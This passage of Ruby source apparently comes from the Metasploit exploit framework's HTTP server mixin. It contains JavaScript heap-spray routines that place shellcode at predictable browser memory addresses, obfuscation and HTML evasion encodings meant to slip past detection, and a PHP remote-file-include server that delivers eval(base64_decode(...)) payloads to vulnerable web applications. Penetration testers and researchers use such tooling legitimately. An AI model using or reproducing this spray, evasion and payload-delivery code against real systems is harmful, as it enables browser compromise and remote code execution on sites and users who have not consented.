# publication on "DEPS – Precise Heap Spray on Firefox and IE10". In IE, the shellcode
|
||
# should land at address 0x0c0d2020, as this is the most consistent location across
|
||
# various versions.
|
||
#
|
||
# The "sprayHeap" JavaScript function supports the following arguments:
|
||
# shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes.
|
||
# objId => Optional. The ID for a <div> HTML tag.
|
||
# offset => Optional. Number of bytes to align the shellcode, default: 0x00
|
||
# heapBlockSize => Optional. Allocation size, default: 0x80000
|
||
# maxAllocs => Optional. Number of allocation calls, default: 0x350
|
||
#
|
||
# Example of using the 'sprayHeap' function:
|
||
# <script>
|
||
# #{spray}
|
||
#
|
||
# var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
|
||
# sprayHeap({shellcode:s, heapBlockSize:0x80000});
|
||
# </script>
|
||
#
|
||
def js_property_spray
|
||
sym_div_container = Rex::Text.rand_text_alpha(rand(10) + 5)
|
||
js = %Q|
|
||
var #{sym_div_container};
|
||
function sprayHeap( oArg ) {
|
||
|
||
shellcode = oArg.shellcode;
|
||
offset = oArg.offset;
|
||
heapBlockSize = oArg.heapBlockSize;
|
||
maxAllocs = oArg.maxAllocs;
|
||
objId = oArg.objId;
|
||
|
||
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
|
||
if (offset == undefined) { offset = 0x00; }
|
||
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
|
||
if (maxAllocs == undefined) { maxAllocs = 0x350; }
|
||
|
||
if (offset > 0x800) { throw "Bad alignment"; }
|
||
|
||
#{sym_div_container} = document.getElementById(objId);
|
||
|
||
if (#{sym_div_container} == null) {
|
||
#{sym_div_container} = document.createElement("div");
|
||
}
|
||
|
||
#{sym_div_container}.style.cssText = "display:none";
|
||
var data;
|
||
junk = unescape("%u2020%u2020");
|
||
while (junk.length < offset+0x1000) junk += junk;
|
||
|
||
data = junk.substring(0,offset) + shellcode;
|
||
data += junk.substring(0,0x800-offset-shellcode.length);
|
||
|
||
while (data.length < heapBlockSize) data += data;
|
||
|
||
for (var i = 0; i < maxAllocs; i++)
|
||
{
|
||
var obj = document.createElement("button");
|
||
obj.title = data.substring(0, (heapBlockSize-2)/2);
|
||
#{sym_div_container}.appendChild(obj);
|
||
}
|
||
}
|
||
|
|
||
end
|
||
|
||
def js_heap_spray
|
||
js = %Q|var memory = new Array();
|
||
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
|
||
var index;
|
||
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
|
||
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
|
||
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
|
||
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
|
||
|
||
var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
|
||
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
|
||
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
|
||
|
||
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
|
||
for (index = 0; index < heapBlockCnt; index++) {
|
||
memory[index] = retSlide + shellcode;
|
||
}
|
||
}
|
||
|
|
||
opts = {
|
||
'Symbols' => {
|
||
'Variables' => %w{ shellcode retSlide payLoadSize memory index
|
||
heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
|
||
heapBlockCnt },
|
||
'Methods' => %w{ sprayHeap }
|
||
}
|
||
}
|
||
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
|
||
return js
|
||
end
|
||
|
||
def js_os_detect
|
||
return ::Rex::Exploitation::JavascriptOSDetect.new
|
||
end
|
||
|
||
# Transmits a html response to the supplied client
|
||
#
|
||
# HTML evasions are implemented here.
|
||
def send_response_html(cli, body, headers = {})
|
||
body = body.to_s.unpack("C*").pack("C*")
|
||
if datastore['HTML::base64'] != 'none'
|
||
case datastore['HTML::base64']
|
||
when 'plain'
|
||
body = Rex::Text.encode_base64(body)
|
||
when 'single_pad'
|
||
body = Rex::Text.encode_base64(' ' + body)
|
||
when 'double_pad'
|
||
body = Rex::Text.encode_base64(' ' + body)
|
||
when 'random_space_injection'
|
||
body = Rex::Text.encode_base64(body)
|
||
new = ''
|
||
while (body.size > 0)
|
||
new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
|
||
end
|
||
body = new
|
||
end
|
||
|
||
body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
|
||
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
|
||
body + '">Could not render object</OBJECT></BODY></HTML>'
|
||
end
|
||
|
||
if datastore['HTML::javascript::escape'] > 0
|
||
datastore['HTML::javascript::escape'].times {
|
||
body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
|
||
}
|
||
end
|
||
|
||
if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
|
||
headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode']
|
||
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
|
||
else
|
||
# special cases
|
||
case datastore['HTML::unicode']
|
||
when 'utf-16be-marker'
|
||
headers['Content-Type'] = 'text/html'
|
||
body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
|
||
when 'utf-7-all'
|
||
headers['Content-Type'] = 'text/html; charset=utf-7'
|
||
body = Rex::Text.to_unicode(body, 'utf-7', 'all')
|
||
when 'none'
|
||
# do nothing
|
||
else
|
||
raise RuntimeError, 'Invalid unicode. how did you get here?'
|
||
end
|
||
end
|
||
|
||
send_response(cli, body, headers)
|
||
end
|
||
|
||
end
|
||
|
||
|
||
###
|
||
#
|
||
# This module provides methods for exploiting PHP scripts by acting as an HTTP
|
||
# server hosting the payload for Remote File Include vulnerabilities.
|
||
#
|
||
###
|
||
module Exploit::Remote::HttpServer::PHPInclude
|
||
|
||
include Msf::Exploit::Remote::HttpServer
|
||
|
||
def initialize(info = {})
|
||
|
||
# Override TCPServer's stance of passive
|
||
super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))
|
||
|
||
register_evasion_options(
|
||
[
|
||
OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
|
||
], Exploit::Remote::HttpServer::PHPInclude
|
||
)
|
||
end
|
||
|
||
# Since these types of vulns are Stance::Aggressive, override HttpServer's
|
||
# normal non-automatic behaviour and allow things to run us automatically
|
||
def autofilter
|
||
true
|
||
end
|
||
|
||
##
|
||
# :category: Exploit::Remote::TcpServer overrides
|
||
#
|
||
# Override exploit() to handle service start/stop
|
||
#
|
||
# Disables SSL for the service since we always want to serve our evil PHP
|
||
# files from a non-ssl server. There are two reasons for this:
|
||
# 1. https is only supported on PHP versions after 4.3.0 and only if
|
||
# the OpenSSL extension is compiled in, a non-default configuration on
|
||
# most systems
|
||
# 2. somewhat less importantly, the SSL option would conflict with the
|
||
# option for our client connecting to the vulnerable server
|
||
#
|
||
def exploit
|
||
old_ssl = datastore["SSL"]
|
||
datastore["SSL"] = false
|
||
start_service
|
||
datastore["SSL"] = old_ssl
|
||
|
||
#if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr))
|
||
# print_error("Warning: the URL used for the include might be wrong!")
|
||
# print_error("If the target system can route to #{srvhost_addr} it")
|
||
# print_error("is safe to ignore this warning. If not, try using a")
|
||
# print_error("reverse payload instead of bind.")
|
||
#end
|
||
|
||
begin
|
||
print_status("PHP include server started.");
|
||
php_exploit
|
||
::IO.select(nil, nil, nil, 5)
|
||
rescue ::Interrupt
|
||
raise $!
|
||
ensure
|
||
stop_service
|
||
end
|
||
end
|
||
|
||
#
|
||
# Transmits a PHP payload to the web application
|
||
#
|
||
def send_php_payload(cli, body, headers = {})
|
||
|
||
case datastore['PHP::Encode']
|
||
when 'base64'
|
||
body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
|
||
when 'none'
|
||
body = "<?php #{body} ?>"
|
||
end
|
||
|
||
send_response(cli, body, headers)
|
||
end
|
||
|
||
##
|
||
# :category: Event Handlers
|
||
#
|
||
# Handle an incoming PHP code request
|
||
#
|
||
def on_request_uri(cli, request, headers={})
|
||
# Re-generate the payload
|
||
return if ((p = regenerate_payload(cli)) == nil)
|
||
|
||
# Send it to the application
|
||
send_php_payload(cli, p.encoded, headers)
|
||
end
|
||
|
||
#
|
||
# The PHP include URL (pre-encoded)
|
||
#
|
||
# Does not take SSL into account. For the reasoning behind this, see
|
||
# {#exploit}.
|
||
#
|
||
# @return [String] The URL to be used as the argument in a call to
|
||
# +require+, +require_once+, or +include+ or +include_once+ in a
|
||
# vulnerable PHP app.
|
||
def php_include_url(sock=nil)
|
||
host = srvhost_addr
|
||
if Rex::Socket.is_ipv6?(host)
|
||
host = "[#{host}]"
|
||
end
|
||
"http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?"
|
||
end
|
||
|
||
|
||
end
|
||
end
|
||
|